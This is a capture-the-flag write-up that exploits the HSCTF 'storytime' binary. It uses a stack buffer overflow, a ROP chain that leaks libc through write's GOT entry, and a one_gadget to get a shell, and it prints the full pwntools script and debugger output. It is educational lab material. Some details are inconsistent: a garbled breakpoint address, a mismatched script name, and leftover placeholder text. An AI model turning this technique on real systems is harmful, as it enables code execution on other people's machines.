Binary Exploitation

Downloading the binary file


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/core

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/libc.so.6

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/storytime

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ file storytime
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ chmod +x storytime ; ls -lash
total 4.1M
4.0K drwxr-xr-x  2 nothing nothing 4.0K Mar  7 10:27 .
4.0K drwxr-xr-x 13 nothing nothing 4.0K Mar  7 10:26 ..
2.3M -rw-r--r--  1 nothing nothing 2.3M Mar  7 10:26 core
1.8M -rw-r--r--  1 nothing nothing 1.8M Mar  7 10:27 libc.so.6
 12K -rwxr-xr-x  1 nothing nothing 8.3K Mar  7 10:27 storytime

Solution

First of all let's run pwn checksec on the binary and then run it to see what it does:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ pwn checksec storytime
[*] '/home/nothing/binexp/2/hs/storytime'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
yes

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
no

So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra:

We get the following disassembled code:


undefined8 main(void)

{
  undefined local_38 [48];
  
  setvbuf(stdout,(char *)0x0,2,0);
  write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
  write(1,"Tell me a story: \n",0x12);
  read(0,local_38,400);
  return 0;
}

Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary, so nothing stops us from executing code, now what will we execute ? When we look under the imports in Ghidra, we see the following imported functions:

So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets. First we will need to get a libc infoleak with a write function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a onegadget, which is a ROP gadget that can be found in the libc, that can potentially spawn a shell. Now we need to know what the libc version is, we can view it from gdb with the vmmap command.

Here we want to set the first breakpoint after the read call at 0x4x4x4x40069c, so we can locate where our text is:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ gdb ./storytime
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./storytime...
(No debugging symbols found in ./storytime)
gef➤  b *0x40069c
Breakpoint 1 at 0x40069c
gef➤  r
Starting program: /home/nothing/binexp/2/hs/storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
13371337

Breakpoint 1, 0x000000000040069c in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x00000000004006a0  →  <__libc_csu_init+0> push r15
$rcx   : 0x00007ffff7ebd052  →  0x5677fffff0003d48 ("H="?)
$rdx   : 0x190
$rsp   : 0x00007fffffffdf38  →  0x00007ffff7df4b25  →  <__libc_start_main+213> mov edi, eax
$rbp   : 0x0
$rsi   : 0x00007fffffffdf00  →  0x3733333137333331 ("13371337"?)
$rdi   : 0x0
$rip   : 0x000000000040069c  →   ret
$r8    : 0x0
$r9    : 0x00007ffff7fdc070  →  <_dl_fini+0> endbr64
$r10   : 0xfffffffffffffb87
$r11   : 0x246
$r12   : 0x00000000004004d0  →  <_start+0> xor ebp, ebp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25  →  <__libc_start_main+213> mov edi, eax  ← $rsp
0x00007fffffffdf40│+0x0008: 0x00007fffffffe028  →  0x00007fffffffe358  →  "/home/nothing/binexp/2/hs/storytime"
0x00007fffffffdf48│+0x0010: 0x00000001f7fca000
0x00007fffffffdf50│+0x0018: 0x000000000040062e  →   push rbp
0x00007fffffffdf58│+0x0020: 0x00007fffffffe339  →  0x61b7180f2454c920
0x00007fffffffdf60│+0x0028: 0x00000000004006a0  →  <__libc_csu_init+0> push r15
0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017
0x00007fffffffdf70│+0x0038: 0x00000000004004d0  →  <_start+0> xor ebp, ebp
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400691         call   0x4004b0 
     0x400696        mov    eax, 0x0
     0x40069b        leave
●→   0x40069c        ret
   ↳  0x7ffff7df4b25 <__libc_start_main+213> mov    edi, eax
      0x7ffff7df4b27 <__libc_start_main+215> call   0x7ffff7e0c820 
      0x7ffff7df4b2c <__libc_start_main+220> mov    rax, QWORD PTR [rsp]
      0x7ffff7df4b30 <__libc_start_main+224> lea    rdi, [rip+0x164729]        # 0x7ffff7f59260
      0x7ffff7df4b37 <__libc_start_main+231> mov    rsi, QWORD PTR [rax]
      0x7ffff7df4b3a <__libc_start_main+234> xor    eax, eax
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40069c → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory:


gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdf00 - 0x7fffffffdf08  →   "13371337[...]"

gef➤  info frame
Stack level 0, frame at 0x7fffffffdf38:
 rip = 0x40069c in main; saved rip = 0x7ffff7df4b25
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0x7fffffffdf40
 Saved registers:
  rip at 0x7fffffffdf38

So here we see that our pattern is located at 0x7fffffffdf00 and the return address is at 0x7fffffffdf38 so we can now calculate the offset between the 2 with python's hex() function easily:


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Documents/Github/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(  0x7fffffffdf00  -  0x7fffffffdf38  )
'-0x38'

And we get a 0x38 bytes offset between the start of our input and the return address. Now for the write libc infoleak, we need to make use of the following registers:


rdi	0x1 	(stdout file handle)
rsi	got address entry for write
rdx	value => 8

Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the rdx register is set to 0x190 whgich will fit our needs:


        00400680 48 8d 45 d0     LEA        RAX=>local_38,[RBP + -0x30]
        00400684 ba 90 01        MOV        EDX,0x190
                 00 00
        00400689 48 89 c6        MOV        RSI,RAX
        0040068c bf 00 00        MOV        EDI,0x0
                 00 00
        00400691 e8 1a fe        CALL       read                                             ssize_t read(int __fd, void * __

Now for the got entry of write in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything:


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ ROPgadget --binary storytime| grep rsi
0x0000000000400701 : pop rsi ; pop r15 ; ret

Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function:


void end(void)

{
  write(1,"The End!\n",0x28);
  return;
}

The instruction we jump back to will mov 0x1 into edi and then call write which will give us our infoleak:


        004005fa 48 8d 35        LEA        RSI,[s_The_End!_00400761]                        = "The End!\n"
                 60 01 00 00
        00400601 bf 01 00        MOV        EDI,0x1
                 00 00
        00400606 e8 95 fe        CALL       write                                            ssize_t write(int __fd, void * _
                 ff ff
        0040060b 90              NOP
        0040060c 5d              POP        RBP
        0040060d c3              RET

So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose 0x40060e since it is the beginning of the climax function:


void climax(void)

{
  undefined local_38 [48];
  
  read(0,local_38,4000);
  return;
}

This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell. Now let's find the onegadget from the base of libc, to choose which ones to use we can just guess and check


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

So with all of this, we end up with the following exploit:


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ vim exploit.py


from pwn import *

target = process('./storytime')
libc = ELF('libc.so.6')

popRsiR15 = p64(0x400701)
writeGot = p64(0x601018)
payload = b"\x00"*0x38

# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x3030303030303030) # Filler value will be popped into r15

# Right before write call in end
payload += p64(0x400601)

# Filler value that will be popped off in end
payload += p64(0x3030303030303030)

# Address of climax, we will exploit another buffer overflow to use the rop gadget
payload += p64(0x40060e)

target.sendline(payload)
print(target.recvuntil("Tell me a story: \n"))

# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print(hex(base))

# Calculate the oneshot gadget
oneshot = base + 0x4526a

# Make the payload for the onshot gadget
payload = b"\x00"*0x38 + p64(oneshot)

# Send it and get a shell
target.sendline(payload)
target.interactive()


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ python3 original.py
[+] Starting local process './storytime': pid 1570923
[*] '/home/nothing/binexp/2/hs/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n'
0x7f1b59432e30
[*] Switching to interactive mode
@\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive
$ cat flag.txt
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}

And that's it ! we managed to capture the flag.

Title

text


Title

text